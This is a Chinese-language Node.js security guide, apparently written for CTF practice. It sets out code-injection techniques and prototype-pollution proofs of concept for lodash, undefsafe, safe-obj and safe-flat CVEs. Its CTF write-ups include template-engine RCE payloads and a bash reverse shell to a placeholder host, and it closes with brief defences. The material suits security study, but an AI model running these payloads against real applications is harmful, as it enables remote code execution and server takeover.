nodejs全覆盖
字数 1025 2025-08-25 22:58:47
Node.js 安全攻防全面指南
1. Node.js 基础特性与安全风险
1.1 JavaScript 特性利用
大小写转换特性
toUpperCase()和toLowerCase()存在特殊字符转换特性:
可用于绕过大小写敏感的安全检查"ı".toUpperCase() == 'I' "ſ".toUpperCase() == 'S' "KK".toLowerCase() == 'k'
弱类型比较
- 数字与数字字符串比较时自动转换:
console.log(1=='1'); // true console.log('111'>'3'); // false (字符串比较) console.log('asd'>1); // false (转换为0) - 数组比较规则:
console.log([]==[]); // false console.log([6,2]>[5]); // true (比较第一个元素) console.log([100,2]<'test'); // true (数组总小于非数值字符串)
变量拼接特性
console.log(5+[6,6]); // "56,6"
console.log("5"+[6,6]); // "56,6"
ES6模板字符串
var aaaa = "fake_s0u1";
console.log`hello${aaaa}world`; // 参数作为数组传入
2. Node.js 代码注入漏洞
2.1 危险函数
eval()
app.get('/',function(req,res){
res.send(eval(req.query.a)); // 直接执行用户输入
})
定时器函数
setTimeout(()=>{ console.log("恶意代码") },2000);
setInterval(()=>{ console.log("恶意代码") },2000);
Function 构造函数
var aaa = Function("console.log('Hacked')")();
2.2 命令执行方法
child_process 模块
// 多种执行方式
require('child_process').exec('calc');
require('child_process').execFile("calc",{shell:true});
require('child_process').fork("./hacker.js");
require('child_process').spawn("calc",{shell:true});
// 无require时的替代方案
global.process.mainModule.constructor._load('child_process').exec('calc')
反弹Shell
require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');
// +号需要URL编码为%2B
2.3 文件操作
// 同步方法
res.end(require('fs').readdirSync('.').toString()); // 目录列表
res.end(require('fs').readFileSync('./file.txt').toString()); // 读文件
res.end(require('fs').writeFileSync('./file.txt','内容').toString()); // 写文件
res.end(require('fs').rmdirSync('./dir').toString()); // 删除目录
3. 原型链污染详解
3.1 基础概念
- prototype:类的属性,所有实例共享
- proto:实例属性,指向类的prototype
- 查找机制:对象属性找不到时沿原型链向上查找
3.2 污染原理
let foo = {bar: 1};
foo.__proto__.bar = 2; // 修改Object原型
let zoo = {};
console.log(zoo.bar); // 2,新对象继承被污染的原型
3.3 污染场景
需要控制对象键名的操作,如:
- merge/clone/copy操作
- 对象赋值操作
典型污染示例
function merge(target, source) {
for (let key in source) {
target[key] = source[key]; // 关键赋值点
}
}
let o1 = {};
let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}'); // JSON解析保留__proto__键名
merge(o1, o2);
let o3 = {};
console.log(o3.b); // 2,污染成功
3.4 已知漏洞模块
Undefsafe (CVE-2019-10795)
var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return 'evil!'});
console.log('this is '+test); // 触发污染
Lodash 系列漏洞
-
defaultsDeep (CVE-2019-10744)
const _ = require('lodash'); _.defaultsDeep({}, JSON.parse('{"constructor": {"prototype": {"whoami": "Vulnerable"}}}')); console.log(({}).whoami); // "Vulnerable" -
merge (CVE-2018-3721)
var _ = require('lodash'); _.merge({}, JSON.parse('{"__proto__":{"polluted":"yes"}}')); -
zipObjectDeep (CVE-2020-8203)
const _ = require('lodash'); _.zipObjectDeep(['__proto__.z'],[123]); console.log(z); // 123
safe-obj (CVE-2021-25928)
var safeObj = require("safe-obj");
var obj = {};
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log({}.polluted); // "Yes! Its Polluted"
safe-flat (CVE-2021-25927)
var safeFlat = require("safe-flat");
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
console.log({}.polluted); // "Yes! Its Polluted"
3.5 原型链污染到RCE
通过Lodash.template
{"__proto__":{"sourceURL":"\nreturn e=> {return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
通过EJS模板引擎 (CVE-2022-29078)
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('cat /flag');var __tmp2"
通过Jade模板引擎
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}
4. 实战案例分析
4.1 CTF题目解析
Web 336 - 命令执行绕过
// 过滤了exec和load
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout
// 或字符串拼接
?eval=require('child_process')['exe'%2B'cSync']('ls').toString()
Web 337 - MD5比较绕过
// 使用数组绕过严格比较
a[]=1&b[]=2
// 长度相同但值不同,MD5比较时数组会转为字符串"[object Object]flag"
Web 338/339 - 原型链污染
// 污染已有属性
{"__proto__":{"ctfshow":"36dboy"}}
// 变量覆盖污染
{"__proto__":{"query":"return 123"}}
// 导致 { query: Function(query)(query) } 变为 { query: 123 }
4.2 真实漏洞案例
[网鼎杯2020]notes
// Undefsafe污染+命令执行
POST /edit_note
{"id":"__proto__.cmd","author":"bash -i >& /dev/tcp/IP/PORT 0>&1","raw":"1"}
// 触发执行
GET /status
[GYCTF2020]Ez_Express
// 1. 绕过admin校验
userid=admın&pwd=123&Submit=register // ı→I
// 2. 污染outputFunctionName
POST /action
{"__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('id')\n//"}}
// 3. 触发渲染
GET /info
[湖湘杯2021]vote
// Flat污染+Pug RCE
POST /api/submit
{
"__proto__.hero":{"name":"菲奥娜"}, // 绕过检查
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('cat /flag > app/static/1.txt')"
}
}
5. 防御措施
- 避免使用
eval()等危险函数 - 对用户输入严格过滤
- 使用最新版本库,修复已知漏洞
- 冻结敏感原型:
Object.freeze(Object.prototype) - 使用
Object.create(null)创建无原型的对象 - 检查JSON输入中的
__proto__等敏感键名